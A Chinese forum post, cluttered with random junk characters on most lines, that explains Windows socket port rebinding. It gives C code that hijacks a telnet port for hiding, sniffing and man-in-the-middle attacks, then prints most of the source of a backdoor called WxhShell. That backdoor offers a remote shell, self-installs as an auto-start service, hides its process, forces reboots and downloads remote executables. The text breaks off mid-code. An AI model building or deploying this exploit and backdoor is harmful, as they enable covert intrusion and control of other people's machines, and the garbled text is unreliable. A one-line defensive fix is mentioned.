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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Cz2OGM*mz?  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); o5(p&:1M  
8:%=@p>$  
  saddr.sin_family = AF_INET; ?qeBgkL(B^  
Md9b_&'  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); smpz/1U  
:&#HrD[KT  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); v(v Lk\K7  
l:O6`2Z  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 gHLBtl/  
vV.TK_ y  
  这意味着什么?意味着可以进行如下的攻击: [Yx)`e  
fI2/v<[  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 0W|}5(C  
a}Db9=  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) =#@eDm%  
#Y3:~dmJ-  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ,"PKGd]^  
47R4gs#W  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  OC|9~B1  
/YbyMj*  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 oaI|A^v  
aI$D qnF4  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 l[EnFbD6  
U2*g9Es  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ?*}^xXI/  
/P*mF^Y  
  #include #"^F:: b-  
  #include VZ?"yUZ Id  
  #include i2ap]  
  #include    4WV'\R+m  
  DWORD WINAPI ClientThread(LPVOID lpParam);   W ?;kMGW-  
  int main() #On EQ:  
  { lP>}9^7I!  
  WORD wVersionRequested; Vy-EY*r|  
  DWORD ret; 8Z TN  
  WSADATA wsaData; r)P^CZm  
  BOOL val; ;}!hgyq  
  SOCKADDR_IN saddr; g">E it*[  
  SOCKADDR_IN scaddr; K-&&%Id6R  
  int err; ""[(e0oA  
  SOCKET s; 7 tOOruiC  
  SOCKET sc; <#U9ih 2  
  int caddsize; sh []OSM  
  HANDLE mt; `C~RA, M  
  DWORD tid;   ~{,U%B  
  wVersionRequested = MAKEWORD( 2, 2 ); |wASeZMO2  
  err = WSAStartup( wVersionRequested, &wsaData ); MB9tnGO-Q  
  if ( err != 0 ) { h)[{{JSf  
  printf("error!WSAStartup failed!\n"); =yv_i]9AN  
  return -1; sd;J(<Ofh  
  } &Q>)3]|p  
  saddr.sin_family = AF_INET; GY@-}p~it  
   L-}>;M$Y)  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 box(FjrZE  
E5d?toZ,8"  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); *u$MqN  
  saddr.sin_port = htons(23); cd8~y  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ?@U7tNI  
  { #}50oWE  
  printf("error!socket failed!\n"); K1rF;7Y6  
  return -1; ;=IC.<Q<}  
  } $d1+d;Mn  
  val = TRUE; =VMV^[&>  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Oj<.3U[C  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)  8+no>%L  
  { GE`:bC3  
  printf("error!setsockopt failed!\n"); ,f`435R  
  return -1; DPuz'e*  
  } *={` %  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; yvxdl=s  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 x0^O?UR  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 x!klnpGp  
2c>eMfa  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 8*rd`k1 |g  
  { 1eC1Cyw  
  ret=GetLastError(); uJz<:/rwZ-  
  printf("error!bind failed!\n"); O) ks  
  return -1; 90)0\i+P  
  } w ^ v*1KA&  
  listen(s,2); 2Yd0:$a  
  while(1) t+'|&b][Qi  
  { ,3_;JT"5  
  caddsize = sizeof(scaddr); R:zPU   
  //接受连接请求 +NGjDa  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); K!/"&RjW.  
  if(sc!=INVALID_SOCKET) Z:3N*YkL  
  { oQgd]| v  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); y5_`<lFv  
  if(mt==NULL) WvG0hts=[  
  { cE}R7,y  
  printf("Thread Creat Failed!\n"); z?$F2+f&  
  break; {HKd="%VG  
  } G}aw{Vbg_  
  } (Dr g  
  CloseHandle(mt); IUco 8  
  } Nx~9Ug  
  closesocket(s); (lwrk(  
  WSACleanup(); <rUH\z5cP  
  return 0; QUL^]6$  
  }   @OOnO+g  
  DWORD WINAPI ClientThread(LPVOID lpParam) 7n*,L5%?]4  
  { =[8EQdR  
  SOCKET ss = (SOCKET)lpParam; `Tt}:9/3  
  SOCKET sc; VeO$n*O  
  unsigned char buf[4096]; iOpMU  
  SOCKADDR_IN saddr; jEj#|w  
  long num; v.,|#}0 o  
  DWORD val; >AsD6]  
  DWORD ret; *"V5j#F_  
  //如果是隐藏端口应用的话,可以在此处加一些判断 av>c  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   E"l&<U  
  saddr.sin_family = AF_INET; rj qX|  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Ju3-ZFUS4  
  saddr.sin_port = htons(23); "0o1M\6Z  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) aY8"Sw|4  
  { >jEn>H?  
  printf("error!socket failed!\n"); Xz)UH<  
  return -1; 'Eds0"3  
  } -x~h.s,  
  val = 100; m9bR %j  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) *<k8H5z8]  
  { ;K<e]RI;?  
  ret = GetLastError(); F&US-ce:M  
  return -1; fUQuEh5_  
  } q[4{Xh  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ^UP!y!&N  
  { ,L#Qy>MOb  
  ret = GetLastError(); [Nb0&:$ay  
  return -1; `n%uvo}UT  
  } '>[l1<d!G  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) CW*Kd t  
  { ]H8CVue  
  printf("error!socket connect failed!\n"); UpL1C~&  
  closesocket(sc); BrYU*aPW;  
  closesocket(ss); ,4oYKJ$+h  
  return -1; FQ dz":5  
  } 7%?2>t3~  
  while(1) 7'wt/9  
  { ~=hM y`Ml  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 :.kc1_veYS  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 (_G&S~@.  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 [+0rlmB  
  num = recv(ss,buf,4096,0); Va^Y3/  
  if(num>0) 32!jF}qpD  
  send(sc,buf,num,0); V@gweci  
  else if(num==0) F"2v5F@  
  break; mdxa^#w  
  num = recv(sc,buf,4096,0); 1e`/N+6u  
  if(num>0) x`8rR;N!  
  send(ss,buf,num,0); H..g2;D  
  else if(num==0) RUcpdeo  
  break; 5/j7C>  
  } hwF9LD~^  
  closesocket(ss); UhuEE  
  closesocket(sc); 3xS+Pu\)  
  return 0 ; utIR\e#:B  
  } N3?hyR<T  
SN!TE,=I  
s*`_Ka57]~  
========================================================== >ZMB}pt`  
A4RA5N/}  
下边附上一个代码,,WXhSHELL XWH{+c"  
Il(p!l<Xz#  
========================================================== om%L>zfB  
);T0n  
#include "stdafx.h" C^ngdba\  
,|hM`<"?  
#include <stdio.h> ,lK=m~  
#include <string.h> z3!j>X_w  
#include <windows.h> U ObI&*2  
#include <winsock2.h> `"CIy_m  
#include <winsvc.h> ^):m^w.  
#include <urlmon.h> g ycjIy@t  
W}&[p=PAS  
#pragma comment (lib, "Ws2_32.lib") r0ml|PX  
#pragma comment (lib, "urlmon.lib") EBjSK/  
M B]8iy8  
#define MAX_USER   100 // 最大客户端连接数 @Qw~z0PE<l  
#define BUF_SOCK   200 // sock buffer ^(<Ecdz(  
#define KEY_BUFF   255 // 输入 buffer e~ #;ux  
&R$6dG4  
#define REBOOT     0   // 重启 L ]HtmI  
#define SHUTDOWN   1   // 关机 1Rlg%G'  
}SL&Y`Y]  
#define DEF_PORT   5000 // 监听端口 rQ~7BlE  
9>gxJ7pY  
#define REG_LEN     16   // 注册表键长度 r{y&}gA  
#define SVC_LEN     80   // NT服务名长度 l,cnM r^.W  
ks92-%;:  
// 从dll定义API ~{GbuoH  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); r!H'8O!  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); m80e^  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); G-`4TQ  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); X}T/6zk  
(Fc\*Vn  
// wxhshell配置信息 2$=U#!OtU  
struct WSCFG { \Fd6Q_  
  int ws_port;         // 监听端口 2aQR#lcv  
  char ws_passstr[REG_LEN]; // 口令 B|%(0j8  
  int ws_autoins;       // 安装标记, 1=yes 0=no ,(d\!T/]'  
  char ws_regname[REG_LEN]; // 注册表键名 : utY4  
  char ws_svcname[REG_LEN]; // 服务名 ?y1']GAo  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 AY]dwKw  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Y+il>.Z  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 u6hDjN  
int ws_downexe;       // 下载执行标记, 1=yes 0=no )8`7i{F  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe"  y|r+<  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 R*Jnl\?>@  
K9{3,!1  
}; aYTVYg  
`SDpOqfIrP  
// default Wxhshell configuration a] 0B{  
struct WSCFG wscfg={DEF_PORT, @.IGOh  
    "xuhuanlingzhe", ODvlix  
    1, U^qQ((ek  
    "Wxhshell", p mv6m  
    "Wxhshell", 0,1x- yD  
            "WxhShell Service", HEqTlnxUu  
    "Wrsky Windows CmdShell Service", {wUbr^  
    "Please Input Your Password: ", !O;su~7  
  1, Q;9-aZ.H  
  "http://www.wrsky.com/wxhshell.exe", C\%T|ZDE  
  "Wxhshell.exe" tK@|sZ>3\  
    }; "*08?KA  
[k1N-';;;  
// 消息定义模块 @VdkmqXz  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; NifD pqjgt  
char *msg_ws_prompt="\n\r? for help\n\r#>"; jA<(#lm;  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 3y&N}'R(F  
char *msg_ws_ext="\n\rExit."; M%(B6};J  
char *msg_ws_end="\n\rQuit."; 'p%aHK{  
char *msg_ws_boot="\n\rReboot..."; m+66x {M2c  
char *msg_ws_poff="\n\rShutdown..."; %:yp>nm  
char *msg_ws_down="\n\rSave to "; E}^np[u7  
w;;yw3  
char *msg_ws_err="\n\rErr!"; <x&0a$I  
char *msg_ws_ok="\n\rOK!"; ie<zc+*rW  
tX'`4!{@+  
char ExeFile[MAX_PATH]; X#;n Gq)5  
int nUser = 0; 4XL$I*;4  
HANDLE handles[MAX_USER]; zL8Z8eh">  
int OsIsNt; "LwLTPC2  
k2bjBAT  
SERVICE_STATUS       serviceStatus; O|Sbe%[*wW  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; n ~c<[  
;Dh\2! sr  
// 函数声明 SB1j$6]OR7  
int Install(void); o!6~tO=%  
int Uninstall(void); j-~x==c-;  
int DownloadFile(char *sURL, SOCKET wsh); %}.4c8  
int Boot(int flag); Iax-~{B3AY  
void HideProc(void); `'W/uCpl  
int GetOsVer(void); [z:.52@!  
int Wxhshell(SOCKET wsl); ^)J2tpr;]=  
void TalkWithClient(void *cs); d_v]mfUF  
int CmdShell(SOCKET sock); ko-3`hX`  
int StartFromService(void); [j3-a4W u  
int StartWxhshell(LPSTR lpCmdLine); $,Eb(j  
0o2*X|i(  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ;2#9q9(  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); J&P{7a  
BE0Ov{'  
// 数据结构和表定义 Dx)>`yJk$;  
SERVICE_TABLE_ENTRY DispatchTable[] = { ^J/S}L]  
{ V/.Na(C~  
{wscfg.ws_svcname, NTServiceMain}, 1iA0+Ex(j  
{NULL, NULL} Fb2,2Px  
}; 3!l+) g  
}na0  
// 自我安装 \eF _Xk[  
int Install(void) 9f#~RY|#m  
{ !+UU[uM  
  char svExeFile[MAX_PATH]; ~^{>!wU+  
  HKEY key; }l>\D~:M  
  strcpy(svExeFile,ExeFile); pwF+ZNo  
^_4e^D]P"  
// 如果是win9x系统,修改注册表设为自启动 /EIQMZuYp  
if(!OsIsNt) { 64LX[8Ax#  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { fMpxe(  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `p!&>,lrk  
  RegCloseKey(key); MV{\:l}y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [ Xa,|  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %fT%,( w}t  
  RegCloseKey(key); -R]Iu\  
  return 0; T\ *#9a  
    } A ".v+  
  } @d&JtA  
} TS_5R>R3  
else { f:9b q}vH  
PFKl6_(  
// 如果是NT以上系统,安装为系统服务 aM7e?.rU  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); cyMvjzzRN  
if (schSCManager!=0) u1}/SlCp  
{ m&P B5s\=  
  SC_HANDLE schService = CreateService P,Z K  
  ( %K`th&331  
  schSCManager, bIWSNNV0F  
  wscfg.ws_svcname, JpRn)e'Z  
  wscfg.ws_svcdisp, !"g2F}n  
  SERVICE_ALL_ACCESS, JRw<v4pZ  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Ao )\/AR'  
  SERVICE_AUTO_START, ybC0Ee@  
  SERVICE_ERROR_NORMAL, aZ,j1j0p  
  svExeFile, -l Y,lC>{  
  NULL, m >Rdsn~l  
  NULL, A_!N,< -  
  NULL, H9\,;kM)  
  NULL, !+k);;.+  
  NULL /Hs\`Kg"!  
  ); I[6ft_*  
  if (schService!=0) 8aqH;|fG}  
  { K/YXLR +  
  CloseServiceHandle(schService); +C}s"qrb@  
  CloseServiceHandle(schSCManager); UVd ^tg  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); HJi FlL3  
  strcat(svExeFile,wscfg.ws_svcname); WaPuJ 5;e  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { &ggOm  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Zg*XbX  
  RegCloseKey(key); a'%eyN  
  return 0; en_W4\7^  
    } &At9@  
  } q)l1tC72  
  CloseServiceHandle(schSCManager); "X(9.6$_  
} y$}o{VE{x  
} |2Y/l~  
E5$Fhc   
return 1; [t6Y,yo&h4  
} mP] a}[  
cq`!17"k  
// 自我卸载 uv&4 A,h  
int Uninstall(void) qOTo p-  
{ j5gL 67B  
  HKEY key; `Hx JE"/  
z',f'3+  
if(!OsIsNt) { c Cx_tGR"  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \>\_OfY1W  
  RegDeleteValue(key,wscfg.ws_regname); !DM GAt\  
  RegCloseKey(key); ${5E  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7Y%Si5  
  RegDeleteValue(key,wscfg.ws_regname); K0{ ,*>C  
  RegCloseKey(key); n%ypxY0  
  return 0; >g;995tG  
  } +MtxS l  
} 7<*,O&![|  
} JA$RY  
else { S-[S?&c`  
RhWW61!"  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); g5;Ig  
if (schSCManager!=0) kxLWk%V  
{ `qV*R 2  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); FN<S agj  
  if (schService!=0) l`A e&nc6  
  { 8Sk$o.Gy  
  if(DeleteService(schService)!=0) { 0m,q3  
  CloseServiceHandle(schService); `< 82"cAT{  
  CloseServiceHandle(schSCManager); hK UK#xx  
  return 0; 0iV~MQZ(  
  } Ov#G7a"  
  CloseServiceHandle(schService); d}2(G2z^  
  } 7lx]`u>  
  CloseServiceHandle(schSCManager); rhDiIO_  
} [;Jq=G8&t  
} z?t75#u9.  
goOw.~dZ'  
return 1; -cWGF  
} !A:d9 k  
d f j;e%H  
// 从指定url下载文件 ]m :Y|,:6  
int DownloadFile(char *sURL, SOCKET wsh) n= q7*<l  
{ d/[kky}  
  HRESULT hr; #]h&GX  
char seps[]= "/"; iHT=ROL  
char *token; -br): }f  
char *file; C{>dE:*K^  
char myURL[MAX_PATH]; fizL_`uMqb  
char myFILE[MAX_PATH]; iEx4va-j  
o;u~Yg  
strcpy(myURL,sURL); **.g^Pyc  
  token=strtok(myURL,seps); AHU =`z  
  while(token!=NULL) PDS?>Jg(  
  { cEIs9;  
    file=token; c5Hyja=  
  token=strtok(NULL,seps); TSH'OW !b  
  } X.V4YmZ- ;  
*/OKg;IMi  
GetCurrentDirectory(MAX_PATH,myFILE); bZ#5\L2  
strcat(myFILE, "\\"); 6MpV ,2:>  
strcat(myFILE, file); q8}he~a  
  send(wsh,myFILE,strlen(myFILE),0); NcX`*18  
send(wsh,"...",3,0); +q%b'!&Q  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); .;)V;!  
  if(hr==S_OK) IN,=v+A  
return 0; 9w6 uoM  
else k#-%u,t  
return 1; 2AW*PDncxP  
{(l,Uhxl""  
} GHO6$iM)[  
<cFj-Ys(T  
// 系统电源模块 M6j~`KSE  
int Boot(int flag) z<_a4 ffR  
{ 8v)iOPmDC  
  HANDLE hToken; 7#7AK}   
  TOKEN_PRIVILEGES tkp; & @${@  
9TbbIP1  
  if(OsIsNt) { T@Z-;^aV  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); RWFvf   
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); |'j,|^<  
    tkp.PrivilegeCount = 1; }nptmc  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; QabLMq@n`  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); wlEK"kKU  
if(flag==REBOOT) { >[ g=G  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Os*s{2OvO  
  return 0; qYQ vjp  
} pq:[`   
else { rl x6a@MiD  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) QZ+G2$  
  return 0; /I:&P Pff  
} YRCOh:W*  
  } RN$>!b/  
  else { 6m@B.+1  
if(flag==REBOOT) { Ed+jSO0  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) lx7]rkWo|a  
  return 0; g""Ep  
} *-S?bv,T'  
else { TkVqv v  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) W![~"7?   
  return 0; \}!/z]u  
} aMGyV"6(-6  
} F\jawoO9  
,20l` :  
return 1; L4ZB0PmN'  
} G_M8? G0  
P-DW@drxF  
// win9x进程隐藏模块 Tv9\` F[  
void HideProc(void) !Sl_qL  
{ }D-jTZlC  
'.jYu7   
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); dK4w$~j{k  
  if ( hKernel != NULL ) lq mr`\@)  
  { Ir=G\/A  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); +.gj/uy*  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); DG}s`'  
    FreeLibrary(hKernel); VB`% u=  
  } fYW9Zbov-  
n:f&4uKoG<  
return; =G !]_d0  
} ^9><qKbO  
|7Qe{  
// 获取操作系统版本 \Yn0|j>  
int GetOsVer(void) 5~d=,;yE  
{ p K ^$^*#  
  OSVERSIONINFO winfo; zRgAmX/g  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); r7^v@  
  GetVersionEx(&winfo); L2wX?NA  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) R\<d&+q@  
  return 1; XM#nb$gl  
  else ]^Xj!01~  
  return 0; =MvB9gx@r  
} "x nULQK  
Xkk 8#Y":  
// 客户端句柄模块 E^0a; |B[  
int Wxhshell(SOCKET wsl) =\mJ5v"hA  
{ TM|PwY  
  SOCKET wsh; ?<S fhjU  
  struct sockaddr_in client; QMy1!:Z&!  
  DWORD myID; [7NO !^  
QKhGEW~G  
  while(nUser<MAX_USER) /,~g"y.;,  
{ h lSav?V_  
  int nSize=sizeof(client); @( 0O9L F  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 4dm0:, G  
  if(wsh==INVALID_SOCKET) return 1; ~,Yd.?.TI  
IfT: 9 &  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); /x4L,UJ= P  
if(handles[nUser]==0) dkqyn"^  
  closesocket(wsh); c?KIHZ0  
else #<s"?Y%-  
  nUser++; @}Q!K*  
  } UFC^ lv  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); X\>/'fC$  
qz.l  
  return 0; U$S{j&?  
} }0f~hL24  
KUpj.[5 qo  
// 关闭 socket 3w"_Onwk  
void CloseIt(SOCKET wsh) L$rr:^J  
{ RS@[ +!:t  
closesocket(wsh); g)!q4 -q  
nUser--; 2dK:VC4U  
ExitThread(0); a8gOb6qF/H  
} ;/kmV~KG  
H}q$6W E  
// 客户端请求句柄 )3<>H!yG}  
void TalkWithClient(void *cs) !R gj'{  
{ mD|Q+~=|e  
dK0H.|  
  SOCKET wsh=(SOCKET)cs; _'<FBlIN  
  char pwd[SVC_LEN]; e{3%-  
  char cmd[KEY_BUFF]; >&k`NXS|V  
char chr[1]; $=`d[04  
int i,j; - P "  
YLS*uXB&.  
  while (nUser < MAX_USER) { $My~sN8  
t*dq*(3"c  
if(wscfg.ws_passstr) { a7=lZZ?  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !6z{~Z:   
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); B@#vS=g  
  //ZeroMemory(pwd,KEY_BUFF); N 1.fV-  
      i=0; >;R7r|^k  
  while(i<SVC_LEN) { F/[m.!Eo  
7 toIbC#  
  // 设置超时 d+6q% U  
  fd_set FdRead; PHUeN]s#  
  struct timeval TimeOut; Mz86bb^J  
  FD_ZERO(&FdRead); VvT7v]  
  FD_SET(wsh,&FdRead); F,Ve,7kh  
  TimeOut.tv_sec=8; UoUQ6Ij  
  TimeOut.tv_usec=0; TtH!5{$s  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); #sk~L21A  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); l;&kX6 w  
Do5.  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); I?Z"YR+MQ  
  pwd=chr[0]; ,el[A`b  
  if(chr[0]==0xd || chr[0]==0xa) { W$`#X  
  pwd=0; U0iV E+)Bt  
  break; jw 5 U-zi  
  } HL dHyK/S  
  i++; nJ/}b/A{  
    } rl&.|;5uH;  
B(5>H2  
  // 如果是非法用户,关闭 socket ^SW9J^9  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); K4+|K:e  
} 71ab&V il  
b'z\|jY  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); XHOS"o$y  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); lN0u1)'2  
8R-;cBT  
while(1) { 5uOz#hN  
mdo$d-d&  
  ZeroMemory(cmd,KEY_BUFF); 4sW~7:vU  
cMoJHC,!  
      // 自动支持客户端 telnet标准   -t>"s'kv  
  j=0; ]0[ot$Da6  
  while(j<KEY_BUFF) { JfK4|{@  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %o{IQ4Lz#  
  cmd[j]=chr[0]; TCIbPs E  
  if(chr[0]==0xa || chr[0]==0xd) { L6;'V5Mg72  
  cmd[j]=0; ?STO#<a  
  break; MZB}O" r  
  } {`T^&b k  
  j++; ,nGQVb   
    } TtKKU4yp  
ez)Ks`  
  // 下载文件 RCxwiZaf33  
  if(strstr(cmd,"http://")) { E H%hL5(  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); td23Z1Elk#  
  if(DownloadFile(cmd,wsh)) KmM:V2@A$  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); NV@$\ <  
  else m6]6 !_  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %DA`.Z9 #  
  } 9sd}Z,l  
  else { l4(FM}0X5}  
&-X51O C  
    switch(cmd[0]) { 8xG"hJR  
  [Fv,`*/sm  
  // 帮助 8.7q -<Q  
  case '?': { ;DVg[#  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); :^xNHMp!  
    break; Df:/r%  
  } i1A<0W|  
  // 安装 v-^tj}jA  
  case 'i': { |.&GmP  
    if(Install()) rKd|s7l  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); mZmEE2h  
    else (/!@ -]1  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~C>Q+tR8  
    break; _-^mxC|M  
    } [TFp2B~)#  
  // 卸载 8lS RK%  
  case 'r': { wzJdS}Yy!y  
    if(Uninstall()) <*-8E(a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); pG"h ZB3)  
    else AZA5>Y  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @$ lX%p>  
    break; g jzWW0C  
    } Dhfor+Epy  
  // 显示 wxhshell 所在路径 \pTv;(  
  case 'p': { &GvSgdttv  
    char svExeFile[MAX_PATH]; kBk2mMZ  
    strcpy(svExeFile,"\n\r"); oDJ &{N|  
      strcat(svExeFile,ExeFile); ! hEZV&y  
        send(wsh,svExeFile,strlen(svExeFile),0); nZc6 *jiz  
    break; m_BpY9c]5  
    } 7Kb&BF|Q  
  // 重启 C8)Paop$  
  case 'b': { Aayd3Ph0%  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 1$6 u  
    if(Boot(REBOOT)) MpvGF7H  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _@gg,2 u-  
    else { }9#GJ:x`  
    closesocket(wsh); 8bO+[" c  
    ExitThread(0); a? PH`5O  
    } PMW@xk^<Y  
    break; >K1e=SY  
    } VGu(HB8n#  
  // 关机 .;.Zbhm  
  case 'd': { 5MZv!N   
